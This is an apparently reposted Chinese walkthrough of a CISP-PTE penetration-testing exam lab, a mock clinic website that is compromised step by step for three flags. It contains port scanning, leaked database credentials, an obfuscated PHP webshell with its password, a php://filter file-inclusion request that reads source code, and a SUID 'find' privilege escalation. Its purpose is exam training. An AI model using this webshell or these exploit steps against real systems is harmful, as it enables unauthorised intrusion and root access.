CISP-PTE学习笔记综合考试题复现WP

Posted 星球守护者

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISP-PTE学习笔记综合考试题复现WP相关的知识,希望对你有一定的参考价值。

文章目录

综合考试题(一)梅奥诊所系统

问题

问题1:请访问192.168.0.110,登录网站后台将看到 KEY6 的值
问题2:请获取 WebShell 后,在网站运行目录下找到 KEY7 的值:
问题3:请获取服务器 root 权限后,在/root 路径下找到 KEY8 的值:

解题WP

1、获取后台

第一步 扫描端口,发现开放的端口

nmap -p- -A 192.168.0.110
--------------
21-ftp-开放
80-web-开放
3306-mysql-开放
6721-web-开放


第二步 访问web页面通过注册,点击确认,发现跳转到后台界面
(这块也可以通过扫描目录发现后台的地址),暴力破解发现无法得到密码

发现一点击确认,发现是通过前端路由的形式进行跳转到index.php,保存这个地址

直接访问后台(http://192.168.0.110/index.php)

第三步 查看ftp,发现泄露的文件,发现数据的账号密码,进行远程连接

ftp://192.168.253.205/ 发现有个pub目录,进行访问
ftp://192.168.253.205/pub/ 发现有个config文件
本地下载并且进行查看,发现泄露了数据库的信息
---------------------
<?php
$config['db'] = array('hostname' => 'localhost',   //数据库主机
					  'datebase' => 'patient',   //数据库名称
					  'username' => 'root',        //数据库用户名
					  'password' => '123456',      //数据库密码
					  'charset' => 'utf8',         //数据库字符集

?>
-------------------

第四步 通过泄露的账号密码,进行远程登录数据库,并且更新数据

123456的md5加密:
e10adc3949ba59abbe56e057f20f883e



第五步 再次登录后台,成功进去获取key
key6:t7kxer7z

2、获取shell

第一步 文件上传,只能上传pdf文件,发现无法回显,无法找到路径
这个是根据第五步的上传文件分析,只允许上传pdf文件

<?php // 使用时请删除此行, 连接密码: cZMHcPsG ?>
<?php $sIje=create_function(str_rot13('$').chr(0x16594/0x31c).str_rot13('b').base64_decode('bQ==').str_rot13('r'),chr(98778/978).base64_decode('dg==').str_rot13('n').chr(0xf5f4/0x247).base64_decode('KA==').base64_decode('JA==').chr(99015/861).chr(0357-0200).chr(0x187-0x11a).base64_decode('ZQ==').base64_decode('KQ==').chr(01212-01117));$sIje(base64_decode('NDAzM'.'TE4O0'.'BldkF'.'sKCRf'.''.str_rot13('H').chr(045356/0426).str_rot13('9').chr(0x343-0x2ef).str_rot13('I').''.''.chr(0xa870/0x268).base64_decode('dA==').str_rot13('w').base64_decode('Vw==').str_rot13('x').''.'1IY1B'.'zR10p'.'OzEyM'.'DkzNT'.'Q7'.''));?>

第二步 通过访问6721,提示有个访问API查询接口,分析代码,是有一个文件包含漏洞,所有应该是需要包含刚才上传的文件

http://192.168.0.110:6721/
http://192.168.0.110:6721/api/query_pdf.php


提示需要使用post请求,并且提交archive的值,
第三步 通过扫描目录,访问phpinfo,发现网站的绝对路径

http://192.168.0.110/phpinfo.php
------------------------------
DOCUMENT_ROOT	/var/www/html/PIzABXDg/
SCRIPT_FILENAME	/var/www/html/PIzABXDg/phpinfo.php
-------------------------------

第四步 通过读取index.php,分析源码,发现上传的文件都在mode为文件下
使用封装协议读取PHP协议,查看index.php的源代码

php://filter/read=convert.base64-encode/resource=

POST /api/query_pdf.php HTTP/1.1
Host: 192.168.0.110:6721
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=q5v69h5nq279pqs90tt5k62g81
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

archive=php://filter/read=convert.base64-encode/resource=/var/www/html/PIzABXDg/index.php

base64解码后

<?php require('config.php');?>
<?php include('lib/functions.php');?>
<?php require('lib/mysql.class.php');?>
<?php
@extract($_GET,EXTR_PREFIX_ALL,"g");
if(isset($_POST['submit']) || isset($g_submit))
  @check_post_request();
  @extract($_POST,EXTR_PREFIX_ALL,"p");


session_cache_limiter('private,must-revalidate');
if(!isset($_SESSION))
  session_start();

$db = new c_mysql;
$g_m = (isset($g_m) && in_array_key($g_m,$config['model'])) ? $g_m : 'login';
$g_o = isset($g_o) ? $g_o : '';

if($g_m != 'login')
  if(!isset($_SESSION['uid']))
    header('Location:?m=login');
	exit();
  
  
if(isset($_SESSION['uid']) && $g_m != 'login')
  $user = $db->select_one('user',array('id' => $_SESSION['uid']));
  if(!$user)
    alert_goto('?m=login','没有这个用户的记录,请重新登录!');


if($g_m == 'home')
  $g_m = 'order';
  $g_o = 'list';


$exts = $db->select_date('ext');
foreach($exts as $ext)
  $config['ext'][$ext['id']] = $ext;
foreach($exts as $ext)
  $config['ext'][$ext['code']] = $ext;

$model_file = 'model/'.$g_m.'.php';
if(file_exists($model_file))
  include($model_file);

$operate_file = 'model/'.$g_m."_".$g_o.".php";
if(file_exists($operate_file))
  include($operate_file);

create_html();
?>


第五步 根据第四步的提示,继续获取/model/order_upload.php源码
通过分析,文件上传的时候,提交的两个参数m=order&o=upload ,最后保存到/model/order_upload.php函数进行处理,所有文件包含,查看内容

archive=php://filter/read=convert.base64-encode/resource=/var/www/html/PIzABXDg/model/order_upload.php

经过base64解码后

<?php
$operates['upload'] = 'ä¸Šä¼ æ¡£æ¡ˆ';
$target_dir = "CISP-PTE-1413/";
$info = '';

if(isset($_POST["submit"]))
	$target_file = $target_dir . basename($_FILES[fileToUpload]["name"]);
$uploadOK = 1;
$fileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(file_exists($target_file))
	$info="文件已经存在";
	$uploadOK = 0;

if($fileType != "pdf")
	$info = "只å
ä¸Šä¼ PDF文件";
	$uploadOK = 0;

if($fileType != "pdf")
	$info = "只å
è®¸ä¸Šä¼ pdf文件";
	$uploadOK = 0;

if($uploadOK == 0)
else
	if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file))
		$info = basename($_FILES["fileToUpload"]["name"])."ä¸Šä¼ æˆåŠŸ";
	else
		$info = "ä¸Šä¼ æ–‡ä»¶æ—¶å‘ç”Ÿé”™è¯¯";
	


$main_tpl = "order_upload.htm";
$replace['info'] = $info;
?>

第六步,通过分析,发现刚才上传的文件是村子,访问发现确实存在

http://192.168.0.110/CISP-PTE-1413/

第七步 通过蚁剑,配置文件(文件包含去读取上传的文件)
添加文件包含的目录,并且base64编码

添加请求body信息

测试连接成功

第八步 连接成功,翻找key7.php

3、提权查看文件

第一步 查看当前用户权限,低权限

find / -perm -u=s -type f 2>/dev/null

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

第二步 使用suid提权,发现当前用户是root

/usr/bin/find query_pdf.php -exec whoami \\;

第三步 通过提示,查看/root目录下的文件

第四步 查看/root/key8.php内容

/usr/bin/find query_pdf.php -exec cat /root/key8.php \\;

注意:这使用绝对路径

此时数据库也可以直接连接上

摘抄


学习不只在于习得新知识,更在于它能帮助我们保持深度思考,从中不断修正对世界的认知,对自我的了解,继而获得真正的成长。
学习从来不是一件一劳永逸的事情,它应该是人生任何阶段都不可或缺的一种能力。
唯有不断学习,才能与时俱进,不被淘汰。让不断学习成为一种习惯,你所收获的将会是应对生活最大的底气和智慧。

—《不断学习》


以上是关于CISP-PTE学习笔记综合考试题复现WP的主要内容,如果未能解决你的问题,请参考以下文章

CISP-PTE学习笔记综合考试题复现WP

拿来吧你!CISP-PTE渗透基础测试题自测

#ASK Laravel 深厚的口才关系,来自患者一对多注册一对一综合诊所

cisp-pte靶场通关思路分享----远程文件包含篇

CISP-PTE实操练习题讲解一(新版)

cisp-pte靶场通关思路分享----xss篇